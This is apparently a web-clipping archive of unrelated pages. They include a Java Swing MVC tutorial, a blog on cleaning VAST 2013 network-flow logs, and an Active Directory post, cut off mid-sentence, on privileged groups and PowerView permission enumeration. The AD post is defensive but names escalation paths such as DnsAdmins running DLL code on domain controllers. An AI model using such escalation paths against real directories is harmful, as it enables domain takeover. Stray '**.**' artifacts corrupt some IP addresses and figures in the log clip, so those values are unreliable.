      :assumption (forall (x Int) (y Int) (= (add_int x y) (+ x y)) :pat{ (add_int x y) })
    
      :formula (and (not (= (default[IntArray] bag) 0))
                    (= (map[add_int] bag bag) bag))
    
      :formula (and (not (= (const[IntArray] 0) bag))
                    (= (map[add_int] bag bag) bag))
      )
    
    
[/code]

# The Guidebook - Swing Tutorials

**Created:**| _5/29/2010 11:23:29 AM_  
---|---  
**Updated:**| _5/29/2010 11:23:29 AM_  
**Author:**| _wishi_  
**Tags:**| _Java programming Swing_  
  

<img src='img/logo.gif' alt='Main Logo' />

  * Home
  * Picture Index
  * Codeviewer
  * About/Contact

  * Introduction
    * 1\. Using this site...
    * 2\. What are GUIs?
    * 3\. What is Swing?
  * JFrame
    * 1\. Humble Beginnings
    * 2\. Semi-Optional Syntax
  * JPanel
    * 1\. Pane Theory and Basic JPanels
    * 2\. Displaying our first JPanel
  * JLabel
    * 1\. Basic JLabels
  * JButton
    * 1\. JButton Creation and Placement
    * 2\. Action Listeners
    * 3\. JToggleButtons / ItemListeners
  * JTextField
    * 1\. Basic JTextField Usage
    * 2\. JPasswordField
    * 3\. Restricting your JTextField
  * Layouts
    * 1\. You and Your Layouts
    * 2\. Border Layout
    * 3\. Box Layout
    * 4\. Card Layout
    * 5\. Flow Layout
    * 6\. Grid Layout
    * 7\. Grid Bag Layout
  * JCheckBox
    * 1\. A CheckBox Example
    * 2\. Item Listener
  * JComboBox
    * 1\. Good Old Comboboxes
  * JRadioButton
    * 1\. Radiobuttons \(with CardLayout\)
  * JTextArea
    * 1\. Basic TextArea & other Widgets
  * JSeparator
    * 1\. What a Separator is...
  * JScrollPane
    * 1\. Fitting Big Thing in Small Places...
  * JList
    * 1\. Basic JLists
    * 2\. Selection Types
    * 3\. Adding/Removing Items
  * JMenuBar
    * 1\. Menu Bar Basics
    * 2\. Listeners for Everything
    * 3\. Accelerators and Mnemonics
  * JTable
    * 1\. Default Tables
  * Using The GUI
    * 1\. Theory behind MVC
    * 2\. Model
    * 3\. View
    * 4\. Controller
    * 5\. Changing the View

# Model-View-Controller - Part 3

The View is what this site is all about. A great deal of the code in here is
stuff you have been shown how to do in previous tutorials.  
  
You will notice here that there are no ActionListeners. These are placed
within the Controller, so it can act upon user interaction. Also, there is no
logic, maths or anything within the View...which is exactly what we want\! All
it does is displays the buttons we want and an input box, displaying the data
within the model.  
  
1  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39  
40  
41  
42  
43  
44  
45  
46  
47  
48  
49  
50  
51  
52  
53  
54  
55  
56  
57  
58  
59  
60  
61  
62  
63  
64  
65  
66  
67  
68  
69  
70  
71  
72  
73  
74  
75  
76  
77  
78  
79  
|

[code]

    import javax.swing.*;
    import java.awt.GridLayout;
    import java.awt.event.ActionListener;
    
    public class CalculatorView
    {
        private JButton[] button_array = new JButton[4];
        private String[] button_name = {"+", "-", "*", "/"};
        private JTextField input;
    
        public CalculatorView()
        {
            // Create and show the GUI.
            createAndShowGUI();
        }
    
        // Create the content pane which displays the buttons and widgets on-screen.
        private JPanel createContentPane()
        {
            JPanel totalGUI = new JPanel();
    
            input = new JTextField("0.0", 8);
    
            // Use GridLayout for equals positioning.
            JPanel action_buttons = new JPanel(new GridLayout(2,2));
    
            for(int i = 0; i < button_name.length; i++)
            {
                button_array[i] = new JButton(button_name[i]);
                action_buttons.add(button_array[i]);
            }
    
            totalGUI.add(input);
            totalGUI.add(action_buttons);
            totalGUI.setOpaque(true);
            return totalGUI;
        }
    
        // As before, we create the frame and add the created content pane.
        private void createAndShowGUI()
        {
            JFrame.setDefaultLookAndFeelDecorated(true);
            JFrame frame = new JFrame("[=] Calculator [=]");
    
            // Set the content pane.
            frame.setContentPane(createContentPane());
            frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
            frame.pack();
            frame.setVisible(true);
        }
    
        // Here we add the ActionListener passed by the Controller to each of the buttons
        public void buttonActionListeners(ActionListener al)
        {
            for(int i = 0; i < button_name.length; i++)
            {
                button_array[i].setActionCommand(button_name[i]);
                button_array[i].addActionListener(al);
            }
        }
    
        // Gets the text from the Text Box and converts it into a Double.
        public double getFieldText()
        {
            try{
                return Double.parseDouble(input.getText());
            }
            catch(NumberFormatException nfe)
            {
                System.out.println("Error");
                return -1;
            }
        }
    
        // Sets the text displayed on the Text Box.
        public void setFieldText(String message)
        {
            input.setText(""+message);
        }
    
[/code]  
---|---  
When run, the view is shown like this...  
  
<img src='img/CalculatorView_1.JPG' alt='Picture of CalculatorView' />  
  
This isn't the best GUI we have shown on the site, but in the fifth section,
we show you that you can add an entirely new GUI to the program by simply
bringing in a new View class.  
  
In this section of code, we add Listeners from the Controller to the buttons.
Quite simple, just using the addActionListener\(\) syntax. The only code you
may not have seen before is setActionCommand which lets you assign a string
variable that will be sent if it fires off an event. By using this, you can
determine which button was used without needing the object name itself.  
52  
53  
54  
55  
56  
57  
58  
59  
|

[code]

        // Here we add the ActionListener passed by the Controller to each of the buttons
        public void buttonActionListeners(ActionListener al)
        {
            for(int i = 0; i < button_name.length; i++)
            {
                button_array[i].setActionCommand(button_name[i]);
                button_array[i].addActionListener(al);
            }
    
[/code]  
---|---  
<img src='img/10570_back.gif' alt='Back' /><img src='img/10566_up.gif'
alt='Top' /><img src='img/next.gif' alt='Next' />  
<img src='img/contact.gif' alt='Email Me' />

**Code Style**  
  
  

**Required Lessons**  
  

  * JFrame
  * JPanel
  * JButton
  * JTextField

**External Links**  
  

  * Sun Website
  * JavaDude.com

Created and Edited by Stuart Davidson  
All Rights Reserved ©  

<img src='img/valid-xhtml10.png' width='88' height='31' alt='Valid XHTML 1.0
Strict' />

# There's a party at ring0...

**Created:**| _3/28/2010 1:44:23 PM_  
---|---  
**Updated:**| _3/28/2010 1:44:47 PM_  
**Author:**| __  
**Tags:**| _Exploit vulnerability kernel presentation-material_  
  
<img src='img/Temp2_8360' />

# Security Intelligence and Big Data | raffy.ch – blog » Cleaning Up Network Traffic Logs – VAST 2013 Challenge
**Created:**| _10/25/2013 3:52:22 PM_  
---|---  
**Updated:**| _10/25/2013 3:52:22 PM_  
**Author:**| __  
**Tags:**| _visualization security metrics_  
  

# Cleaning Up Network Traffic Logs – VAST 2013 Challenge****

Filed under: Log Analysis  — Raffael Marty @ 1:59 pm

I have spent some significant time with the VAST 2013 Challenge**.** I have
been part of the program committee for a couple of years now and have seen
many challenge submissions**.** Both good and bad**.** What I noticed with
most submissions is that they a\) didn’t really understand network data, and
b\) they didn’t clean the data correctly**.** If you wanna follow along my
analysis, the data is here: Week 1 – Network Flows \(~500MB\)

Let me help with one quick comment**.** There is a lot of traffic in the data
that seems to be involving port 0:

[code]

    $ cat nf-chunk1-rev.csv | awk -F, '{if ($8==0) print $0}'
    1364803648**.** 013658,2013-04-01 08:07:28,20130401080728**.** 013658,1,OTHER,172.10.0.6,
    172**.** 10.2.6,0,0,0,0,1,0,0,222,0,3,0,0
[/code]

Just because it says port 0 in there doesn’t mean it’s port 0**\!** Check out
field 5, which says **OTHER**. That’s the transport protocol. It’s not TCP or
UDP, so the port is meaningless**.** Most likely this is ICMP traffic\!

On to another problem with the data**.** Some of the sources and destinations
are turned around in the traffic**.** This happens with network flow
collectors. Look at these two records:

[code]

    1364803504**.** 948029,2013-04-01 08:05:04,20130401080504.948029,6,TCP,172.30**.** 1.11,
    10.0.0**.** 12,9130,80,0,0,0,176,409,454,633,5,4,0
    1364807428.917824,2013-04-01 09:10:28,20130401091028**.** 917824,6,TCP,172.10**.** 0.4,
    172.10.2**.** 64,80,14545,0,0,0,7425,0,7865,0,8,0,0
    
[/code]

The first one is totally legitimate**.** The source port is 9130, the
destination 80**.** The second record, however, has the source and destination
turned around**.** Port 14545 is not a valid destination port and the
collector just turned the information around**.**

The challenge is on you now to find which records are inverted and then you
have to flip them back around**.** Here is what I did in order to find the
ones that were turned around \(Note, I am only using the first week of data
for MiniChallenge1**\!**\):

[code]

    select firstseendestport, count(*) c from logs group by firstseendestport order
     by c desc limit 20;
    | 80               | 41229910 |
    | 25               | 272563   |
    | 0                | 119491   |
    | 123              | 95669    |
    | 1900             | 68970    |
    | 3389             | 58153    |
    | 138              | 6753     |
    | 389              | 3672     |
    | 137              | 2352     |
    | 53               | 955      |
    | 21               | 767      |
    | 5355             | 311      |
    | 49154            | 211      |
    | 464              | 100      |
    | 5722             | 98       |
    ..**.**
    
[/code]

What I am looking for here are the top destination ports**.** My theory being
that most valid ports will show up quite a lot**.** This gave me a first
candidate list of ports**.** I am looking for two things here. First, the
frequency of the ports and second whether I recognize the ports as being
valid**.** Based on the frequency I would put the ports down to port 3389 on
my candidate list**.** But because all the following ones are well known
ports, I will include them down to port 21**.** So the first list is:

[code]

    80,25,0,123,1900,3389,138,389,137,53,21
[/code]

I’ll drop 0 from this due to the comment earlier**\!**

Next up, let’s see what the top source ports are that are showing up**.**

[code]

    | firstseensrcport | c       |
    +------------------+---------+
    | 80               | 1175195 |
    | 62559            | 579953  |
    | 62560            | 453727  |
    | 51358            | 366650  |
    | 51357            | 342682  |
    | 45032            | 288301  |
    | 62561            | 256368  |
    | 45031            | 227789  |
    | 51359            | 180029  |
    | 45033            | 157071  |
    | 0                | 119491  |
    | 45034            | 117760  |
    | 123              | 95622   |
    | 1984             | 81528   |
    | 25               | 19646   |
    | 138              | 6711    |
    | 137              | 2288    |
    | 2024             | 929     |
    | 2100             | 927     |
    | 1753             | 926     |
[/code]

See that**?** Port 80 is the top source port showing up. Definitely a sign of
a source/destination confusion**.** There are a bunch of others from our
previous candidate list showing up here as well**.** All records where we have
to turn source and destination around**.** But likely we are still missing
some ports here.

Well, let’s see what other source ports remain:

[code]

    select firstseensrcport, count(*) c from pq_logs2 group by firstseensrcport
    having firstseensrcport<1024 and firstseensrcport not in (0,123,138,137,80,25,53,21)
    order by c desc limit 10
    +------------------+--------+
    | firstseensrcport | c      |
    +------------------+--------+
    | 62559            | 579953 |
    | 62560            | 453727 |
    | 51358            | 366650 |
    | 51357            | 342682 |
    | 45032            | 288301 |
    | 62561            | 256368 |
    | 45031            | 227789 |
    | 51359            | 180029 |
    | 45033            | 157071 |
    | 45034            | 117760 |
[/code]

Looks pretty normal**.** Well. Sort of, but let’s not digress. But lets try to
see if there are any ports below 1024 showing up**.** Indeed, there is port 20
that shows, totally legitimate destination port**.** Let’s check out the**.**
Pulling out the destination ports for those show nice actual source ports:

[code]

    +------------------+------------------+---+
    | firstseensrcport | firstseendestport| c |
    +------------------+------------------+---+
    | 20               | 3100             | 1 |
    | 20               | 8408             | 1 |
    | 20               | 3098             | 1 |
    | 20               | 10129            | 1 |
    | 20               | 20677            | 1 |
    | 20               | 27362            | 1 |
    | 20               | 3548             | 1 |
    | 20               | 21396            | 1 |
    | 20               | 10118            | 1 |
    | 20               | 8407             | 1 |
    +------------------+------------------+---+
[/code]

Adding port 20 to our candidate list**.** Now what**?** Let’s see what happens
if we look at the top ‘connections’:

[code]

    select firstseensrcport,
    firstseendestport, count(*) c from pq_logs2 group by firstseensrcport,
    firstseendestport having firstseensrcport not in (0,123,138,137,80,25,53,21,20,1900,3389,389)
    and firstseendestport not in (0,123,138,137,80,25,53,21,20,3389,1900,389)
    order by c desc limit 10
    +------------------+------------------+----+
    | firstseensrcport | firstseendestpor | c  |
    +------------------+------------------+----+
    | 1984             | 4244             | 11 |
    | 1984             | 3198             | 11 |
    | 1984             | 4232             | 11 |
    | 1984             | 4276             | 11 |
    | 1984             | 3212             | 11 |
    | 1984             | 4247             | 11 |
    | 1984             | 3391             | 11 |
    | 1984             | 4233             | 11 |
    | 1984             | 3357             | 11 |
    | 1984             | 4252             | 11 |
    +------------------+------------------+----+
    
[/code]

Interesting**.** Looking through the data where the source port is actually
1984, we can see that a lot of the destination ports are showing increasing
numbers**.** For example:

[code]

    | 1984             | 2228             | 172**.** 10**.** 0.6     | 172.10.1**.** 118    |
    | 1984             | 2226             | 172**.** 10**.** 0.6     | 172.10.1**.** 147    |
    | 1984             | 2225             | 172**.** 10**.** 0.6     | 172.10.1**.** 141    |
    | 1984             | 2224             | 172**.** 10**.** 0.6     | 172.10.1**.** 115    |
    | 1984             | 2223             | 172**.** 10**.** 0.6     | 172.10.1**.** 120    |
    | 1984             | 2222             | 172**.** 10**.** 0.6     | 172.10.1**.** 121    |
    | 1984             | 2221             | 172**.** 10**.** 0.6     | 172.10.1**.** 135    |
    | 1984             | 2220             | 172**.** 10**.** 0.6     | 172.10.1**.** 126    |
    | 1984             | 2219             | 172**.** 10**.** 0.6     | 172.10.1**.** 192    |
    | 1984             | 2217             | 172**.** 10**.** 0.6     | 172.10.1**.** 141    |
    | 1984             | 2216             | 172**.** 10**.** 0.6     | 172.10.1**.** 173    |
    | 1984             | 2215             | 172**.** 10**.** 0.6     | 172.10.1**.** 116    |
    | 1984             | 2214             | 172**.** 10**.** 0.6     | 172.10.1**.** 120    |
    | 1984             | 2213             | 172**.** 10**.** 0.6     | 172.10.1**.** 115    |
    | 1984             | 2212             | 172**.** 10**.** 0.6     | 172.10.1**.** 126    |
    | 1984             | 2211             | 172**.** 10**.** 0.6     | 172.10.1**.** 121    |
    | 1984             | 2210             | 172**.** 10**.** 0.6     | 172.10.1**.** 172    |
    | 1984             | 2209             | 172**.** 10**.** 0.6     | 172.10.1**.** 119    |
    | 1984             | 2208             | 172**.** 10**.** 0.6     | 172.10.1**.** 173    |
[/code]

That would hint at this guy being actually a destination port**.** You can
also query for all the records that have the destination port set to 1984,
which will show that a lot of the source ports in those connections are
definitely source ports, another hint that we should add 1984 to our list of
actual ports**.** Continuing our journey, I found something interesting**.** I
was looking for all connections that don’t have a source or destination port
in our candidate list and sorted by the number of occurrences:

[code]

    +------------------+------------------+---+
    | firstseensrcport | firstseendestport| c |
    +------------------+------------------+---+
    | 62559            | 37321            | 9 |
    | 62559            | 36242            | 9 |
    | 62559            | 19825            | 9 |
    | 62559            | 10468            | 9 |
    | 62559            | 34395            | 9 |
    | 62559            | 62556            | 9 |
    | 62559            | 9005             | 9 |
    | 62559            | 59399            | 9 |
    | 62559            | 7067             | 9 |
    | 62559            | 13503            | 9 |
    | 62559            | 30151            | 9 |
    | 62559            | 23267            | 9 |
    | 62559            | 56184            | 9 |
    | 62559            | 58318            | 9 |
    | 62559            | 4178             | 9 |
    | 62559            | 65429            | 9 |
    | 62559            | 32270            | 9 |
    | 62559            | 18104            | 9 |
    | 62559            | 16246            | 9 |
    | 62559            | 33454            | 9 |
[/code]

This is strange in so far as this source port seems to connect to totally
random ports, but not making any sense**.** Is this another legitimate
destination port? I am not sure**.** It’s way too high and I don’t want to put
it on our list**.** Open question. No idea at this point. Anyone**?**

Moving on without this 62559, we see the same behavior for 62560 and then
51357 and 51358, as well as 45031, 45032, 45033**.** And it keeps going like
that**.** Let’s see what the machines are involved in this traffic**.** Sorry,
not the nicest SQL, but it works:

[code]

    select firstseensrcip, firstseendestip, count(*) c
    from pq_logs2 group by firstseensrcip, firstseendestip,firstseensrcport
    having firstseensrcport in (62559, 62561, 62560, 51357, 51358)
    order by c desc limit 10
    +----------------+-----------------+-------+
    | firstseensrcip | firstseendestip | c     |
    +----------------+-----------------+-------+
    | 10**.** 9.81.5      | 172.10**.** 0.40     | 65534 |
    | 10.9.81**.** 5      | 172.10.0.4      | 65292 |
    | 10**.** 9.81.5      | 172.10**.** 0.4      | 65272 |
    | 10.9.81**.** 5      | 172.10.0.4      | 65180 |
    | 10**.** 9.81.5      | 172.10**.** 0.5      | 65140 |
    | 10.9.81**.** 5      | 172.10.0.9      | 65133 |
    | 10**.** 9.81.5      | 172.20**.** 0.6      | 65127 |
    | 10.9.81**.** 5      | 172.10.0.5      | 65124 |
    | 10**.** 9.81.5      | 172.10**.** 0.9      | 65117 |
    | 10.9.81**.** 5      | 172.20.0.6      | 65099 |
    +----------------+-----------------+-------+
[/code]

Here we have it**.** Probably an attacker <img src='img/Temp2_7348.gif'
alt=':)' /> . This guy is doing not so nice things**.** We should exclude this
IP for our analysis of ports**.** This guy is just all over.

Now, we continue along similar lines and find what machines are using port
45034, 45034, 45035:

[code]

    select firstseensrcip, firstseendestip, count(*) c
    from pq_logs2 group by firstseensrcip, firstseendestip,firstseensrcport
    having firstseensrcport in (45035, 45034, 45033)  order by c desc limit 10
    +----------------+-----------------+-------+
    | firstseensrcip | firstseendestip | c     |
    +----------------+-----------------+-------+
    | 10**.** 10.11.15    | 172**.** 20.0.15     | 61337 |
    | 10.10**.** 11.15    | 172.20.0**.** 3      | 55772 |
    | 10.10.11.15    | 172**.** 20.0.3      | 53820 |
    | 10.10**.** 11.15    | 172.20.0**.** 2      | 51382 |
    | 10.10.11.15    | 172**.** 20.0.15     | 51224 |
    | 10.15**.** 7.85     | 172.20.0**.** 15     | 148   |
    | 10.15.7.85     | 172**.** 20.0.15     | 148   |
    | 10.15**.** 7.85     | 172.20.0**.** 15     | 148   |
    | 10.7.6.3       | 172**.** 30.0.4      | 30    |
    | 10.7**.** 6.3       | 172.30.0**.** 4      | 30    |
[/code]

We see one dominant IP here**.** Probably another ‘attacker’**.** So we
exclude that and see what we are left with. Now, this is getting tedious**.**
Let’s just visualize some of the output to see what’s going on**.** Much
quicker\! And we only have 36970 records unaccounted for.

<img src='img/Temp2_7350.gif' />

What you can see is the remainder of traffic**.** Very quickly we see that
there is one dominant IP address**.** We are going to filter that one out**.**
Then we are left with this:

<img src='img/Temp2_7349.gif' />

I selected some interesting traffic here**.** Turns out, we just found another
destination port: 5535 for our list**.** I continued this analysis and ended
up with something like 38 records, which are shown in the last image:

<img src='img/Temp2_7347.gif' />

I’ll leave it at this for now**.** I think that’s a pretty good set of ports:

[code]

    20,21,25,53,80,123,137,138,389,1900,1984,3389,5355
[/code]

Oh well, if you want to fix your traffic now and turn around the wrong
source/destination pairs, here is a hack in perl:

[code]

    $ cat nf*.csv | perl -F\,\ -ane 'BEGIN {@ports=(20,21,25,53,80,123,137,138,389,1900,1984,3389,5355);
    %hash = map { $_ => 1 } @ports; $c=0} if ($hash{$F[7]} && $F[8}>1024)
    {$c++; printf"%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s",
    $F[0],$F[1],$F[2],$F[3],$F[4],$F[6],$F[5],$F[8],$F[7],$F[9],$F[10],$F[11],$F[13],$F[12],
    $F[15],$F[14],$F[17],$F[16],$F[18]} else {print $_} END {print "count of revers $c\n";}'
[/code]

We could have switched to visual analysis way earlier, which I did in my
initial analysis, but for the blog I ended up going way further in SQL than I
probably should have**.** Stay tuned for my next blog post, where I will cover
how to load all of the VAST data into a Hadoop / Impala setup**.**

****

# Scriptless Attacks – Stealing the Pie Without Touching the Sill

**Created:**| _3/7/2018 8:21:02 AM_  
---|---  
**Updated:**| _3/7/2018 8:21:25 AM_  
**Author:**| _wishi_  
**Tags:**| _xss_  
  

  
<img src='img/scriptlessAttacks-ccs2012.pdf' />  

# Active Directory Security – Active Directory & Enterprise Security, Methods
to Secure Active Directory, Attack Methods & Effective Defenses, PowerShell,
Tech Notes, & Geek Trivia…

**Created:**| _6/29/2017 4:17:27 PM_  
---|---  
**Updated:**| _6/29/2017 4:17:27 PM_  
**Author:**| __  
**Tags:**| _active directory_  
  

  

Active Directory Recon is the new hotness since attackers, Red Teamers, and
penetration testers have realized that control of Active Directory provides
power over the organization.

I covered ways to enumerate permissions in AD using PowerView \(written by
Will @harmj0y\) during my Black Hat & DEF CON talks in 2016 from both a Blue
Team and Red Team perspective.

This post details how privileged access is delegated in Active Directory and
how best to discover who has what rights and permissions in AD. When we
perform an Active Directory Security Assessment for customers, we review all
of the data points listed in this post, including the privileged groups and
the rights associated with them by fully interrogating Active Directory and
mapping the associated permissions to rights and associating these rights to
the appropriate groups \(or accounts\).

I have had this post in draft for a while and with Bloodhound now supporting
AD ACLs \(nice work Will @harmj0y & Andy @\_Wald0\!\), it’s time to get more
information out about AD permissions. Examples in this post use the PowerView
PowerShell cmdlets.

**Active Directory Privileged Access**

The challenge is often determining what access each group actually has. Often
the full impact of what access a group actually has is not fully understood by
the organization. Attackers leverage access \(though not always privileged
access\) to compromise Active Directory.

The key point often missed is that rights to Active Directory and key
resources is more than just group membership, it is the combined rights the
user has which is made up of:

  * Active Directory group membership.
  * AD groups with privileged rights on computers
  * Delegated rights to AD objects by modifying the default permissions \(for security principals, both direct and indirect\).
  * Rights assigned to SIDs in SIDHistory to AD objects.
  * Delegated rights to Group Policy Objects.
  * User Rights Assignments configured on workstations, servers, and Domain Controllers via Group Policy \(or Local Policy\) defines elevated rights and permissions on these systems.
  * Local group membership on a computer or computers \(similar to GPO assigned settings\).
  * Delegated rights to shared folders.

**Group Membership**

Enumerating group membership is the easy way to discovering privileged
accounts in Active Directory, though it often doesn’t tell the full story.
Membership in Domain Admins, Administrators, and Enterprise Admins obviously
provides full domain/forest admin rights. Custom groups are created and
delegated access to resources.

This screenshot shows using PowerView to find VMWare groups and list the
members.

<img src='img/Temp2_470.png' width='512' height='146' />

Interesting Groups with default elevated rights:

**Account Operators** : Active Directory group with default privileged rights
on domain users and groups, plus the ability to logon to Domain Controllers  
Well-Known SID/RID: S-1-5-32-548  
_The Account Operators group grants limited account creation privileges to a
user. Members of this group can create and modify most types of accounts,
including those of users, local groups, and global groups, and members can log
in locally to domain controllers._  
_Members of the Account Operators group cannot manage the Administrator user
account, the user accounts of administrators, or the Administrators, Server
Operators, Account Operators, Backup Operators, or Print Operators groups.
Members of this group cannot modify user rights._  
_The Account Operators group applies to versions of the Windows Server
operating system listed in the Active Directory default security groups by
operating system version._

_By default, this built-in group has no members, and it can create and manage
users and groups in the domain, including its own membership and that of the
Server Operators group. This group is considered a service administrator group
because it can modify Server Operators, which in turn can modify domain
controller settings. As a best practice, leave the membership of this group
empty, and do not use it for any delegated administration. This group cannot
be renamed, deleted, or moved._

**Administrators** : Local or Active Directory group. The AD group has full
admin rights to the Active Directory domain and Domain Controllers  
Well-Known SID/RID: S-1-5-32-544  
_Members of the Administrators group have complete and unrestricted access to
the computer, or if the computer is promoted to a domain controller, members
have unrestricted access to the domain._  
_The Administrators group applies to versions of the Windows Server operating
system listed in the Active Directory default security groups by operating
system version._

_The Administrators group has built-in capabilities that give its members full
control over the system. This group cannot be renamed, deleted, or moved. This
built-in group controls access to all the domain controllers in its domain,
and it can change the membership of all administrative groups._  
_Membership can be modified by members of the following groups: the default
service Administrators, Domain Admins in the domain, or Enterprise Admins.
This group has the special privilege to take ownership of any object in the
directory or any resource on a domain controller. This account is considered a
service administrator group because its members have full access to the domain
controllers in the domain._

_This security group includes the following changes since Windows Server
2008:_  
_Default user rights changes: Allow log on through Terminal Services existed
in Windows Server 2008, and it was replaced by Allow log on through Remote
Desktop Services._  
_Remove computer from docking station was removed in Windows Server 2012 R2._

**Allowed RODC Password Replication Group** : Active Directory group where
members can have their domain password cached on a RODC after successfully
authenticating \(includes user and computer accounts\).  
Well-Known SID/RID: S-1-5-21-<domain>-571  
_The purpose of this security group is to manage a RODC password replication
policy. This group has no members by default, and it results in the condition
that new Read-only domain controllers do not cache user credentials. The
Denied RODC Password Replication Group group contains a variety of high-
privilege accounts and security groups. The Denied RODC Password Replication
group supersedes the Allowed RODC Password Replication group._  
_The Allowed RODC Password Replication group applies to versions of the
Windows Server operating system listed in the Active Directory default
security groups by operating system version._  
_This security group has not changed since Windows Server 2008._

**Backup Operators** : Local or Active Directory group. AD group members can
backup or restore Active Directory and have logon rights to Domain Controllers
\(default\).  
Well-Known SID/RID: S-1-5-32-551  
_Members of the Backup Operators group can back up and restore all files on a
computer, regardless of the permissions that protect those files. Backup
Operators also can log on to and shut down the computer. This group cannot be
renamed, deleted, or moved. By default, this built-in group has no members,
and it can perform backup and restore operations on domain controllers. Its
membership can be modified by the following groups: default service
Administrators, Domain Admins in the domain, or Enterprise Admins. It cannot
modify the membership of any administrative groups. While members of this
group cannot change server settings or modify the configuration of the
directory, they do have the permissions needed to replace files \(including
operating system files\) on domain controllers. Because of this, members of
this group are considered service administrators._  
_The Backup Operators group applies to versions of the Windows Server
operating system listed in the Active Directory default security groups by
operating system version._  
_This security group has not changed since Windows Server 2008._

**Certificate Service DCOM Access** : Active Directory group.  
Well-Known SID/RID: S-1-5-32-<domain>-574  
_Members of this group are allowed to connect to certification authorities in
the enterprise._  
_The Certificate Service DCOM Access group applies to versions of the Windows
Server operating system listed in the Active Directory default security groups
by operating system version._  
_This security group has not changed since Windows Server 2008._

**Cert Publishers** : Active Directory group.  
Well-Known SID/RID: S-1-5-<domain>-517  
_Members of the Cert Publishers group are authorized to publish certificates
for User objects in Active Directory._  
_The Cert Publishers group applies to versions of the Windows Server operating
system listed in the Active Directory default security groups by operating
system version._  
_This security group has not changed since Windows Server 2008._

**Distributed COM Users**  
Well-Known SID/RID: S-1-5-32-562  
_Members of the Distributed COM Users group are allowed to launch, activate,
and use Distributed COM objects on the computer. Microsoft Component Object
Model \(COM\) is a platform-independent, distributed, object-oriented system
for creating binary software components that can interact. Distributed
Component Object Model \(DCOM\) allows applications to be distributed across
locations that make the most sense to you and to the application. This group
appears as a SID until the domain controller is made the primary domain
controller and it holds the operations master role \(also known as flexible
single master operations or FSMO\)._  
_The Distributed COM Users group applies to versions of the Windows Server
operating system listed in the Active Directory default security groups by
operating system version._  
_This security group has not changed since Windows Server 2008._

**DnsAdmins** : Local or Active Directory group. Members of this group have
admin rights to AD DNS and **can run code via DLL on a Domain Controller
operating as a DNS server.**  
Well-Known SID/RID: S-1-5-21-<domain>-1102  
_Members of DNSAdmins group have access to network DNS information. The
default permissions are as follows: Allow: Read, Write, Create All Child
objects, Delete Child objects, Special Permissions._  
_For information about other means to secure the DNS server service, see
Securing the DNS Server Service._  
_This security group has not changed since Windows Server 2008._

**Domain Admins** : Active Directory group with full admin rights to the
Active Directory domain and all computers \(default\), including all
workstations, servers, and Domain Controllers. Gains this right through
automatic membership in the Administrators group for the domain as well as all
computers when they are joined to the domain.  
Well-Known SID/RID: S-1-5-<domain>-512  
_Members of the Domain Admins security group are authorized to administer the
domain. By default, the Domain Admins group is a member of the Administrators
group on all computers that have joined a domain, including the domain
controllers. The Domain Admins group is the default owner of any object that
is created in Active Directory for the domain by any member of the group. If
members of the group create other objects, such as files, the default owner is
the Administrators group._  
_The Domain Admins group controls access to all domain controllers in a
domain, and it can modify the membership of all administrative accounts in the
domain. Membership can be modified by members of the service administrator
groups in its domain \(Administrators and Domain Admins\), and by members of
the Enterprise Admins group. This is considered a service administrator
account because its members have full access to the domain controllers in a
domain._  
_The Domain Admins group applies to versions of the Windows Server operating
system listed in the Active Directory default security groups by operating
system version._  
_This security group has not changed since Windows Server 2008._

**Enterprise Admins** : Active Directory group with full admin rights to all
Active Directory domains in the AD forest and gains this right through
automatic membership in the Administrators group in every domain in the
forest.  
Well-Known SID/RID: S-1-5-21-<root domain>-519  
_The Enterprise Admins group exists only in the root domain of an Active
Directory forest of domains. It is a Universal group if the domain is in
native mode; it is a Global group if the domain is in mixed mode. Members of
this group are authorized to make forest-wide changes in Active Directory,
such as adding child domains._  
_By default, the only member of the group is the Administrator account for the
forest root domain. This group is automatically added to the Administrators
group in every domain in the forest, and it provides complete access for
configuring all domain controllers. Members in this group can modify the
membership of all administrative groups. Membership can be modified only by
the default service administrator groups in the root domain. This is
considered a service administrator account._  
_The Enterprise Admins group applies to versions of the Windows Server
operating system listed in the Active Directory default security groups by
operating system version._  
_This security group has not changed since Windows Server 2008._

**Event Log Readers**  
Well-Known SID/RID: S-1-5-32-573  
_Members of this group can read event logs from local computers. The group is
created when the server is promoted to a domain controller._  
_The Event Log Readers group applies to versions of the Windows Server
operating system listed in the Active Directory default security groups by
operating system version._  
_This security group has not changed since Windows Server 2008._

**Group Policy Creators Owners** : Active Directory group with the ability to
create Group Policies in the domain.  
Well-Known SID/RID: S-1-5-<domain>-520  
_This group is authorized to create, edit, or delete Group Policy Objects in
the domain. By default, the only member of the group is Administrator._  
_The Group Policy Creators Owners group applies to versions of the Windows
Server operating system listed in the Active Directory default security groups
by operating system version._  
_This security group has not changed since Windows Server 2008._

**Hyper-V Administrators**  
Well-Known SID/RID: S-1-5-32-578  
_Members of the Hyper-V Administrators group have complete and unrestricted
access to all the features in Hyper-V. Adding members to this group helps
reduce the number of members required in the Administrators group, and further
separates access._  
_System\_CAPS\_noteNote_  
_Prior to Windows Server 2012, access to features in Hyper-V was controlled in
part by membership in the Administrators group._  
_This security group was introduced in Windows Server 2012, and it has not
changed in subsequent versions._

**Pre–Windows 2000 Compatible Access**  
Well-Known SID/RID: S-1-5-32-554  
_Members of the Pre–Windows 2000 Compatible Access group have Read access for
all users and groups in the domain. This group is provided for backward
compatibility for computers running Windows NT 4.0 and earlier. By default,
the special identity group, Everyone, is a member of this group. Add users to
this group only if they are running Windows NT 4.0 or earlier._  
_System\_CAPS\_warningWarning_  
_This group appears as a SID until the domain controller is made the primary
domain controller and it holds the operations master role \(also known as
flexible single master operations or FSMO\)._  
_The Pre–Windows 2000 Compatible Access group applies to versions of the
Windows Server operating system listed in the Active Directory default
security groups by operating system version._  
_This security group has not changed since Windows Server 2008._

**Print Operators**  
Well-Known SID/RID: S-1-5-32-550  
_Members of this group can manage, create, share, and delete printers that are
connected to domain controllers in the domain. They can also manage Active
Directory printer objects in the domain. Members of this group can locally
sign in to and shut down domain controllers in the domain._  
_This group has no default members. Because members of this group can load and
unload device drivers on all domain controllers in the domain, add users with
caution. This group cannot be renamed, deleted, or moved._  
_The Print Operators group applies to versions of the Windows Server operating
system listed in the Active Directory default security groups by operating
system version._  
_This security group has not changed since Windows Server 2008. However, in
